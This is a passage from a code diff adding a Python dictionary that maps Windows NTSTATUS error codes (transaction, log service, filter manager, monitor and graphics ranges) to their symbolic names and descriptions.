+        0xC0190037: ("STATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY","The operation cannot be performed because another transaction is depending on this property not changing."),
+        0xC0190038: ("STATUS_CANT_CROSS_RM_BOUNDARY","The operation would involve a single file with two transactional resource managers and is, therefore, not allowed."),
+        0xC0190039: ("STATUS_TXF_DIR_NOT_EMPTY","The $Txf directory must be empty for this operation to succeed."),
+        0xC019003A: ("STATUS_INDOUBT_TRANSACTIONS_EXIST","The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed."),
+        0xC019003B: ("STATUS_TM_VOLATILE","The operation could not be completed because the transaction manager does not have a log."),
+        0xC019003C: ("STATUS_ROLLBACK_TIMER_EXPIRED","A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution."),
+        0xC019003D: ("STATUS_TXF_ATTRIBUTE_CORRUPT","The transactional metadata attribute on the file or directory %hs is corrupt and unreadable."),
+        0xC019003E: ("STATUS_EFS_NOT_ALLOWED_IN_TRANSACTION","The encryption operation could not be completed because a transaction is active."),
+        0xC019003F: ("STATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED","This object is not allowed to be opened in a transaction."),
+        0xC0190040: ("STATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE","Memory mapping (creating a mapped section) a remote file under a transaction is not supported."),
+        0xC0190043: ("STATUS_TRANSACTION_REQUIRED_PROMOTION","Promotion was required to allow the resource manager to enlist, but the transaction was set to disallow it."),
+        0xC0190044: ("STATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION","This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader."),
+        0xC0190045: ("STATUS_TRANSACTIONS_NOT_FROZEN","The request to thaw frozen transactions was ignored because transactions were not previously frozen."),
+        0xC0190046: ("STATUS_TRANSACTION_FREEZE_IN_PROGRESS","Transactions cannot be frozen because a freeze is already in progress."),
+        0xC0190047: ("STATUS_NOT_SNAPSHOT_VOLUME","The target volume is not a snapshot volume. This operation is valid only on a volume mounted as a snapshot."),
+        0xC0190048: ("STATUS_NO_SAVEPOINT_WITH_OPEN_FILES","The savepoint operation failed because files are open on the transaction, which is not permitted."),
+        0xC0190049: ("STATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION","The sparse operation could not be completed because a transaction is active on the file."),
+        0xC019004A: ("STATUS_TM_IDENTITY_MISMATCH","The call to create a transaction manager object failed because the Tm Identity that is stored in the log file does not match the Tm Identity that was passed in as an argument."),
+        0xC019004B: ("STATUS_FLOATED_SECTION","I/O was attempted on a section object that has been floated as a result of a transaction ending. There is no valid data."),
+        0xC019004C: ("STATUS_CANNOT_ACCEPT_TRANSACTED_WORK","The transactional resource manager cannot currently accept transacted work due to a transient condition, such as low resources."),
+        0xC019004D: ("STATUS_CANNOT_ABORT_TRANSACTIONS","The transactional resource manager had too many transactions outstanding that could not be aborted. The transactional resource manager has been shut down."),
+        0xC019004E: ("STATUS_TRANSACTION_NOT_FOUND","The specified transaction was unable to be opened because it was not found."),
+        0xC019004F: ("STATUS_RESOURCEMANAGER_NOT_FOUND","The specified resource manager was unable to be opened because it was not found."),
+        0xC0190050: ("STATUS_ENLISTMENT_NOT_FOUND","The specified enlistment was unable to be opened because it was not found."),
+        0xC0190051: ("STATUS_TRANSACTIONMANAGER_NOT_FOUND","The specified transaction manager was unable to be opened because it was not found."),
+        0xC0190052: ("STATUS_TRANSACTIONMANAGER_NOT_ONLINE","The specified resource manager was unable to create an enlistment because its associated transaction manager is not online."),
+        0xC0190053: ("STATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION","The specified transaction manager was unable to create the objects contained in its log file in the Ob namespace. Therefore, the transaction manager was unable to recover."),
+        0xC0190054: ("STATUS_TRANSACTION_NOT_ROOT","The call to create a superior enlistment on this transaction object could not be completed because the transaction object specified for the enlistment is a subordinate branch of the transaction. Only the root of the transaction can be enlisted as a superior."),
+        0xC0190055: ("STATUS_TRANSACTION_OBJECT_EXPIRED","Because the associated transaction manager or resource manager has been closed, the handle is no longer valid."),
+        0xC0190056: ("STATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION","The compression operation could not be completed because a transaction is active on the file."),
+        0xC0190057: ("STATUS_TRANSACTION_RESPONSE_NOT_ENLISTED","The specified operation could not be performed on this superior enlistment because the enlistment was not created with the corresponding completion response in the NotificationMask."),
+        0xC0190058: ("STATUS_TRANSACTION_RECORD_TOO_LONG","The specified operation could not be performed because the record to be logged was too long. This can occur because either there are too many enlistments on this transaction or the combined RecoveryInformation being logged on behalf of those enlistments is too long."),
+        0xC0190059: ("STATUS_NO_LINK_TRACKING_IN_TRANSACTION","The link-tracking operation could not be completed because a transaction is active."),
+        0xC019005A: ("STATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION","This operation cannot be performed in a transaction."),
+        0xC019005B: ("STATUS_TRANSACTION_INTEGRITY_VIOLATED","The kernel transaction manager had to abort or forget the transaction because it blocked forward progress."),
+        0xC0190060: ("STATUS_EXPIRED_HANDLE","The handle is no longer properly associated with its transaction. It may have been opened in a transactional resource manager that was subsequently forced to restart. Please close the handle and open a new one."),
+        0xC0190061: ("STATUS_TRANSACTION_NOT_ENLISTED","The specified operation could not be performed because the resource manager is not enlisted in the transaction."),
+        0xC01A0001: ("STATUS_LOG_SECTOR_INVALID","The log service found an invalid log sector."),
+        0xC01A0002: ("STATUS_LOG_SECTOR_PARITY_INVALID","The log service encountered a log sector with invalid block parity."),
+        0xC01A0003: ("STATUS_LOG_SECTOR_REMAPPED","The log service encountered a remapped log sector."),
+        0xC01A0004: ("STATUS_LOG_BLOCK_INCOMPLETE","The log service encountered a partial or incomplete log block."),
+        0xC01A0005: ("STATUS_LOG_INVALID_RANGE","The log service encountered an attempt to access data outside the active log range."),
+        0xC01A0006: ("STATUS_LOG_BLOCKS_EXHAUSTED","The log service user-log marshaling buffers are exhausted."),
+        0xC01A0007: ("STATUS_LOG_READ_CONTEXT_INVALID","The log service encountered an attempt to read from a marshaling area with an invalid read context."),
+        0xC01A0008: ("STATUS_LOG_RESTART_INVALID","The log service encountered an invalid log restart area."),
+        0xC01A0009: ("STATUS_LOG_BLOCK_VERSION","The log service encountered an invalid log block version."),
+        0xC01A000A: ("STATUS_LOG_BLOCK_INVALID","The log service encountered an invalid log block."),
+        0xC01A000B: ("STATUS_LOG_READ_MODE_INVALID","The log service encountered an attempt to read the log with an invalid read mode."),
+        0xC01A000D: ("STATUS_LOG_METADATA_CORRUPT","The log service encountered a corrupted metadata file."),
+        0xC01A000E: ("STATUS_LOG_METADATA_INVALID","The log service encountered a metadata file that could not be created by the log file system."),
+        0xC01A000F: ("STATUS_LOG_METADATA_INCONSISTENT","The log service encountered a metadata file with inconsistent data."),
+        0xC01A0010: ("STATUS_LOG_RESERVATION_INVALID","The log service encountered an attempt to erroneously allocate or dispose reservation space."),
+        0xC01A0011: ("STATUS_LOG_CANT_DELETE","The log service cannot delete the log file or the file system container."),
+        0xC01A0012: ("STATUS_LOG_CONTAINER_LIMIT_EXCEEDED","The log service has reached the maximum allowable containers allocated to a log file."),
+        0xC01A0013: ("STATUS_LOG_START_OF_LOG","The log service has attempted to read or write backward past the start of the log."),
+        0xC01A0014: ("STATUS_LOG_POLICY_ALREADY_INSTALLED","The log policy could not be installed because a policy of the same type is already present."),
+        0xC01A0015: ("STATUS_LOG_POLICY_NOT_INSTALLED","The log policy in question was not installed at the time of the request."),
+        0xC01A0016: ("STATUS_LOG_POLICY_INVALID","The installed set of policies on the log is invalid."),
+        0xC01A0017: ("STATUS_LOG_POLICY_CONFLICT","A policy on the log in question prevented the operation from completing."),
+        0xC01A0018: ("STATUS_LOG_PINNED_ARCHIVE_TAIL","The log space cannot be reclaimed because the log is pinned by the archive tail."),
+        0xC01A0019: ("STATUS_LOG_RECORD_NONEXISTENT","The log record is not a record in the log file."),
+        0xC01A001A: ("STATUS_LOG_RECORDS_RESERVED_INVALID","The number of reserved log records or the adjustment of the number of reserved log records is invalid."),
+        0xC01A001B: ("STATUS_LOG_SPACE_RESERVED_INVALID","The reserved log space or the adjustment of the log space is invalid."),
+        0xC01A001C: ("STATUS_LOG_TAIL_INVALID","A new or existing archive tail or the base of the active log is invalid."),
+        0xC01A001D: ("STATUS_LOG_FULL","The log space is exhausted."),
+        0xC01A001E: ("STATUS_LOG_MULTIPLEXED","The log is multiplexed; no direct writes to the physical log are allowed."),
+        0xC01A001F: ("STATUS_LOG_DEDICATED","The operation failed because the log is dedicated."),
+        0xC01A0020: ("STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS","The operation requires an archive context."),
+        0xC01A0021: ("STATUS_LOG_ARCHIVE_IN_PROGRESS","Log archival is in progress."),
+        0xC01A0022: ("STATUS_LOG_EPHEMERAL","The operation requires a nonephemeral log, but the log is ephemeral."),
+        0xC01A0023: ("STATUS_LOG_NOT_ENOUGH_CONTAINERS","The log must have at least two containers before it can be read from or written to."),
+        0xC01A0024: ("STATUS_LOG_CLIENT_ALREADY_REGISTERED","A log client has already registered on the stream."),
+        0xC01A0025: ("STATUS_LOG_CLIENT_NOT_REGISTERED","A log client has not been registered on the stream."),
+        0xC01A0026: ("STATUS_LOG_FULL_HANDLER_IN_PROGRESS","A request has already been made to handle the log full condition."),
+        0xC01A0027: ("STATUS_LOG_CONTAINER_READ_FAILED","The log service encountered an error when attempting to read from a log container."),
+        0xC01A0028: ("STATUS_LOG_CONTAINER_WRITE_FAILED","The log service encountered an error when attempting to write to a log container."),
+        0xC01A0029: ("STATUS_LOG_CONTAINER_OPEN_FAILED","The log service encountered an error when attempting to open a log container."),
+        0xC01A002A: ("STATUS_LOG_CONTAINER_STATE_INVALID","The log service encountered an invalid container state when attempting a requested action."),
+        0xC01A002B: ("STATUS_LOG_STATE_INVALID","The log service is not in the correct state to perform a requested action."),
+        0xC01A002C: ("STATUS_LOG_PINNED","The log space cannot be reclaimed because the log is pinned."),
+        0xC01A002D: ("STATUS_LOG_METADATA_FLUSH_FAILED","The log metadata flush failed."),
+        0xC01A002E: ("STATUS_LOG_INCONSISTENT_SECURITY","Security on the log and its containers is inconsistent."),
+        0xC01A002F: ("STATUS_LOG_APPENDED_FLUSH_FAILED","Records were appended to the log or reservation changes were made, but the log could not be flushed."),
+        0xC01A0030: ("STATUS_LOG_PINNED_RESERVATION","The log is pinned due to reservation consuming most of the log space. Free some reserved records to make space available."),
+        0xC01B00EA: ("STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD","{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the computer, a dialog box will allow you to upload data about this failure to Microsoft."),
+        0xC01C0001: ("STATUS_FLT_NO_HANDLER_DEFINED","A handler was not defined by the filter for this operation."),
+        0xC01C0002: ("STATUS_FLT_CONTEXT_ALREADY_DEFINED","A context is already defined for this object."),
+        0xC01C0003: ("STATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST","Asynchronous requests are not valid for this operation."),
+        0xC01C0004: ("STATUS_FLT_DISALLOW_FAST_IO","This is an internal error code used by the filter manager to determine if a fast I/O operation should be forced down the input/output request packet (IRP) path. Minifilters should never return this value."),
+        0xC01C0005: ("STATUS_FLT_INVALID_NAME_REQUEST","An invalid name request was made. The name requested cannot be retrieved at this time."),
+        0xC01C0006: ("STATUS_FLT_NOT_SAFE_TO_POST_OPERATION","Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock."),
+        0xC01C0007: ("STATUS_FLT_NOT_INITIALIZED","The Filter Manager was not initialized when a filter tried to register. Make sure that the Filter Manager is loaded as a driver."),
+        0xC01C0008: ("STATUS_FLT_FILTER_NOT_READY","The filter is not ready for attachment to volumes because it has not finished initializing (FltStartFiltering has not been called)."),
+        0xC01C0009: ("STATUS_FLT_POST_OPERATION_CLEANUP","The filter must clean up any operation-specific context at this time because it is being removed from the system before the operation is completed by the lower drivers."),
+        0xC01C000A: ("STATUS_FLT_INTERNAL_ERROR","The Filter Manager had an internal error from which it cannot recover; therefore, the operation has failed. This is usually the result of a filter returning an invalid value from a pre-operation callback."),
+        0xC01C000B: ("STATUS_FLT_DELETING_OBJECT","The object specified for this action is in the process of being deleted; therefore, the action requested cannot be completed at this time."),
+        0xC01C000C: ("STATUS_FLT_MUST_BE_NONPAGED_POOL","A nonpaged pool must be used for this type of context."),
+        0xC01C000D: ("STATUS_FLT_DUPLICATE_ENTRY","A duplicate handler definition has been provided for an operation."),
+        0xC01C000E: ("STATUS_FLT_CBDQ_DISABLED","The callback data queue has been disabled."),
+        0xC01C000F: ("STATUS_FLT_DO_NOT_ATTACH","Do not attach the filter to the volume at this time."),
+        0xC01C0010: ("STATUS_FLT_DO_NOT_DETACH","Do not detach the filter from the volume at this time."),
+        0xC01C0011: ("STATUS_FLT_INSTANCE_ALTITUDE_COLLISION","An instance already exists at this altitude on the volume specified."),
+        0xC01C0012: ("STATUS_FLT_INSTANCE_NAME_COLLISION","An instance already exists with this name on the volume specified."),
+        0xC01C0013: ("STATUS_FLT_FILTER_NOT_FOUND","The system could not find the filter specified."),
+        0xC01C0014: ("STATUS_FLT_VOLUME_NOT_FOUND","The system could not find the volume specified."),
+        0xC01C0015: ("STATUS_FLT_INSTANCE_NOT_FOUND","The system could not find the instance specified."),
+        0xC01C0016: ("STATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND","No registered context allocation definition was found for the given request."),
+        0xC01C0017: ("STATUS_FLT_INVALID_CONTEXT_REGISTRATION","An invalid parameter was specified during context registration."),
+        0xC01C0018: ("STATUS_FLT_NAME_CACHE_MISS","The name requested was not found in the Filter Manager name cache and could not be retrieved from the file system."),
+        0xC01C0019: ("STATUS_FLT_NO_DEVICE_OBJECT","The requested device object does not exist for the given volume."),
+        0xC01C001A: ("STATUS_FLT_VOLUME_ALREADY_MOUNTED","The specified volume is already mounted."),
+        0xC01C001B: ("STATUS_FLT_ALREADY_ENLISTED","The specified transaction context is already enlisted in a transaction."),
+        0xC01C001C: ("STATUS_FLT_CONTEXT_ALREADY_LINKED","The specified context is already attached to another object."),
+        0xC01C0020: ("STATUS_FLT_NO_WAITER_FOR_REPLY","No waiter is present for the filter's reply to this message."),
+        0xC01D0001: ("STATUS_MONITOR_NO_DESCRIPTOR","A monitor descriptor could not be obtained."),
+        0xC01D0002: ("STATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT","This release does not support the format of the obtained monitor descriptor."),
+        0xC01D0003: ("STATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM","The checksum of the obtained monitor descriptor is invalid."),
+        0xC01D0004: ("STATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK","The monitor descriptor contains an invalid standard timing block."),
+        0xC01D0005: ("STATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED","WMI data-block registration failed for one of the MSMonitorClass WMI subclasses."),
+        0xC01D0006: ("STATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK","The provided monitor descriptor block is either corrupted or does not contain the monitor's detailed serial number."),
+        0xC01D0007: ("STATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK","The provided monitor descriptor block is either corrupted or does not contain the monitor's user-friendly name."),
+        0xC01D0008: ("STATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA","There is no monitor descriptor data at the specified (offset or size) region."),
+        0xC01D0009: ("STATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK","The monitor descriptor contains an invalid detailed timing block."),
+        0xC01D000A: ("STATUS_MONITOR_INVALID_MANUFACTURE_DATE","Monitor descriptor contains invalid manufacture date."),
+        0xC01E0000: ("STATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER","Exclusive mode ownership is needed to create an unmanaged primary allocation."),
+        0xC01E0001: ("STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER","The driver needs more DMA buffer space to complete the requested operation."),
+        0xC01E0002: ("STATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER","The specified display adapter handle is invalid."),
+        0xC01E0003: ("STATUS_GRAPHICS_ADAPTER_WAS_RESET","The specified display adapter and all of its state have been reset."),
+        0xC01E0004: ("STATUS_GRAPHICS_INVALID_DRIVER_MODEL","The driver stack does not match the expected driver model."),
+        0xC01E0005: ("STATUS_GRAPHICS_PRESENT_MODE_CHANGED","Present happened but ended up into the changed desktop mode."),
+        0xC01E0006: ("STATUS_GRAPHICS_PRESENT_OCCLUDED","Nothing to present due to desktop occlusion."),
+        0xC01E0007: ("STATUS_GRAPHICS_PRESENT_DENIED","Not able to present due to denial of desktop access."),
+        0xC01E0008: ("STATUS_GRAPHICS_CANNOTCOLORCONVERT","Not able to present with color conversion."),
+        0xC01E000B: ("STATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED","Present redirection is disabled (desktop windowing management subsystem is off)."),
+        0xC01E000C: ("STATUS_GRAPHICS_PRESENT_UNOCCLUDED","Previous exclusive VidPn source owner has released its ownership"),
+        0xC01E0100: ("STATUS_GRAPHICS_NO_VIDEO_MEMORY","Not enough video memory is available to complete the operation."),
+        0xC01E0101: ("STATUS_GRAPHICS_CANT_LOCK_MEMORY","Could not probe and lock the underlying memory of an allocation."),
+        0xC01E0102: ("STATUS_GRAPHICS_ALLOCATION_BUSY","The allocation is currently busy."),
+        0xC01E0103: ("STATUS_GRAPHICS_TOO_MANY_REFERENCES","An object being referenced has already reached the maximum reference count and cannot be referenced further."),
+        0xC01E0104: ("STATUS_GRAPHICS_TRY_AGAIN_LATER","A problem could not be solved due to an existing condition. Try again later."),
+        0xC01E0105: ("STATUS_GRAPHICS_TRY_AGAIN_NOW","A problem could not be solved due to an existing condition. Try again now."),
+        0xC01E0106: ("STATUS_GRAPHICS_ALLOCATION_INVALID","The allocation is invalid."),
+        0xC01E0107: ("STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE","No more unswizzling apertures are currently available."),
+        0xC01E0108: ("STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED","The current allocation cannot be unswizzled by an aperture."),
+        0xC01E0109: ("STATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION","The request failed because a pinned allocation cannot be evicted."),
+        0xC01E0110: ("STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE","The allocation cannot be used from its current segment location for the specified operation."),
+        0xC01E0111: ("STATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION","A locked allocation cannot be used in the current command buffer."),
+        0xC01E0112: ("STATUS_GRAPHICS_ALLOCATION_CLOSED","The allocation being referenced has been closed permanently."),
+        0xC01E0113: ("STATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE","An invalid allocation instance is being referenced."),
+        0xC01E0114: ("STATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE","An invalid allocation handle is being referenced."),
+        0xC01E0115: ("STATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE","The allocation being referenced does not belong to the current device."),
+        0xC01E0116: ("STATUS_GRAPHICS_ALLOCATION_CONTENT_LOST","The specified allocation lost its content."),
+        0xC01E0200: ("STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE","A GPU exception was detected on the given device. The device cannot be scheduled."),
+        0xC01E0300: ("STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY","The specified VidPN topology is invalid."),
+        0xC01E0301: ("STATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED","The specified VidPN topology is valid but is not supported by this model of the display adapter."),
+        0xC01E0302: ("STATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED","The specified VidPN topology is valid but is not currently supported by the display adapter due to allocation of its resources."),
+        0xC01E0303: ("STATUS_GRAPHICS_INVALID_VIDPN","The specified VidPN handle is invalid."),
+        0xC01E0304: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE","The specified video present source is invalid."),
+        0xC01E0305: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET","The specified video present target is invalid."),
+        0xC01E0306: ("STATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED","The specified VidPN modality is not supported (for example, at least two of the pinned modes are not co-functional)."),
+        0xC01E0308: ("STATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET","The specified VidPN source mode set is invalid."),
+        0xC01E0309: ("STATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET","The specified VidPN target mode set is invalid."),
+        0xC01E030A: ("STATUS_GRAPHICS_INVALID_FREQUENCY","The specified video signal frequency is invalid."),
+        0xC01E030B: ("STATUS_GRAPHICS_INVALID_ACTIVE_REGION","The specified video signal active region is invalid."),
+        0xC01E030C: ("STATUS_GRAPHICS_INVALID_TOTAL_REGION","The specified video signal total region is invalid."),
+        0xC01E0310: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE","The specified video present source mode is invalid."),
+        0xC01E0311: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE","The specified video present target mode is invalid."),
+        0xC01E0312: ("STATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET","The pinned mode must remain in the set on the VidPN's co-functional modality enumeration."),
+        0xC01E0313: ("STATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY","The specified video present path is already in the VidPN's topology."),
+        0xC01E0314: ("STATUS_GRAPHICS_MODE_ALREADY_IN_MODESET","The specified mode is already in the mode set."),
+        0xC01E0315: ("STATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET","The specified video present source set is invalid."),
+        0xC01E0316: ("STATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET","The specified video present target set is invalid."),
+        0xC01E0317: ("STATUS_GRAPHICS_SOURCE_ALREADY_IN_SET","The specified video present source is already in the video present source set."),
+        0xC01E0318: ("STATUS_GRAPHICS_TARGET_ALREADY_IN_SET","The specified video present target is already in the video present target set."),
+        0xC01E0319: ("STATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH","The specified VidPN present path is invalid."),
+        0xC01E031A: ("STATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY","The miniport has no recommendation for augmenting the specified VidPN's topology."),
+        0xC01E031B: ("STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET","The specified monitor frequency range set is invalid."),
+        0xC01E031C: ("STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE","The specified monitor frequency range is invalid."),
+        0xC01E031D: ("STATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET","The specified frequency range is not in the specified monitor frequency range set."),
+        0xC01E031F: ("STATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET","The specified frequency range is already in the specified monitor frequency range set."),
+        0xC01E0320: ("STATUS_GRAPHICS_STALE_MODESET","The specified mode set is stale. Reacquire the new mode set."),
+        0xC01E0321: ("STATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET","The specified monitor source mode set is invalid."),
+        0xC01E0322: ("STATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE","The specified monitor source mode is invalid."),
+        0xC01E0323: ("STATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN","The miniport does not have a recommendation regarding the request to provide a functional VidPN given the current display adapter configuration."),
+        0xC01E0324: ("STATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE","The ID of the specified mode is being used by another mode in the set."),
+        0xC01E0325: ("STATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION","The system failed to determine a mode that is supported by both the display adapter and the monitor connected to it."),
+        0xC01E0326: ("STATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES","The number of video present targets must be greater than or equal to the number of video present sources."),
+        0xC01E0327: ("STATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY","The specified present path is not in the VidPN's topology."),
+        0xC01E0328: ("STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE","The display adapter must have at least one video present source."),
+        0xC01E0329: ("STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET","The display adapter must have at least one video present target."),
+        0xC01E032A: ("STATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET","The specified monitor descriptor set is invalid."),
+        0xC01E032B: ("STATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR","The specified monitor descriptor is invalid."),
+        0xC01E032C: ("STATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET","The specified descriptor is not in the specified monitor descriptor set."),
+        0xC01E032D: ("STATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET","The specified descriptor is already in the specified monitor descriptor set."),
+        0xC01E032E: ("STATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE","The ID of the specified monitor descriptor is being used by another descriptor in the set."),
+        0xC01E032F: ("STATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE","The specified video present target subset type is invalid."),
+        0xC01E0330: ("STATUS_GRAPHICS_RESOURCES_NOT_RELATED","Two or more of the specified resources are not related to each other, as defined by the interface semantics."),
+        0xC01E0331: ("STATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE","The ID of the specified video present source is being used by another source in the set."),
+        0xC01E0332: ("STATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE","The ID of the specified video present target is being used by another target in the set."),
+        0xC01E0333: ("STATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET","The specified VidPN source cannot be used because there is no available VidPN target to connect it to."),
+        0xC01E0334: ("STATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER","The newly arrived monitor could not be associated with a display adapter."),
+        0xC01E0335: ("STATUS_GRAPHICS_NO_VIDPNMGR","The particular display adapter does not have an associated VidPN manager."),
+        0xC01E0336: ("STATUS_GRAPHICS_NO_ACTIVE_VIDPN","The VidPN manager of the particular display adapter does not have an active VidPN."),
+        0xC01E0337: ("STATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY","The specified VidPN topology is stale; obtain the new topology."),
+        0xC01E0338: ("STATUS_GRAPHICS_MONITOR_NOT_CONNECTED","No monitor is connected on the specified video present target."),
+        0xC01E0339: ("STATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY","The specified source is not part of the specified VidPN's topology."),
+        0xC01E033A: ("STATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE","The specified primary surface size is invalid."),
+        0xC01E033B: ("STATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE","The specified visible region size is invalid."),
+        0xC01E033C: ("STATUS_GRAPHICS_INVALID_STRIDE","The specified stride is invalid."),
+        0xC01E033D: ("STATUS_GRAPHICS_INVALID_PIXELFORMAT","The specified pixel format is invalid."),
+        0xC01E033E: ("STATUS_GRAPHICS_INVALID_COLORBASIS","The specified color basis is invalid."),
+        0xC01E033F: ("STATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE","The specified pixel value access mode is invalid."),
+        0xC01E0340: ("STATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY","The specified target is not part of the specified VidPN's topology."),
+        0xC01E0341: ("STATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT","Failed to acquire the display mode management interface."),
+        0xC01E0342: ("STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE","The specified VidPN source is already owned by a DMM client and cannot be used until that client releases it."),
+        0xC01E0343: ("STATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN","The specified VidPN is active and cannot be accessed."),
+        0xC01E0344: ("STATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL","The specified VidPN's present path importance ordinal is invalid."),
+        0xC01E0345: ("STATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION","The specified VidPN's present path content geometry transformation is invalid."),
+        0xC01E0346: ("STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED","The specified content geometry transformation is not supported on the respective VidPN present path."),
+        0xC01E0347: ("STATUS_GRAPHICS_INVALID_GAMMA_RAMP","The specified gamma ramp is invalid."),
+        0xC01E0348: ("STATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED","The specified gamma ramp is not supported on the respective VidPN present path."),
+        0xC01E0349: ("STATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED","Multisampling is not supported on the respective VidPN present path."),
+        0xC01E034A: ("STATUS_GRAPHICS_MODE_NOT_IN_MODESET","The specified mode is not in the specified mode set."),
+        0xC01E034D: ("STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON","The specified VidPN topology recommendation reason is invalid."),
+        0xC01E034E: ("STATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE","The specified VidPN present path content type is invalid."),
+        0xC01E034F: ("STATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE","The specified VidPN present path copy protection type is invalid."),
+        0xC01E0350: ("STATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS","Only one unassigned mode set can exist at any one time for a particular VidPN source or target."),
+        0xC01E0352: ("STATUS_GRAPHICS_INVALID_SCANLINE_ORDERING","The specified scan line ordering type is invalid."),
+        0xC01E0353: ("STATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED","The topology changes are not allowed for the specified VidPN."),
+        0xC01E0354: ("STATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS","All available importance ordinals are being used in the specified topology."),
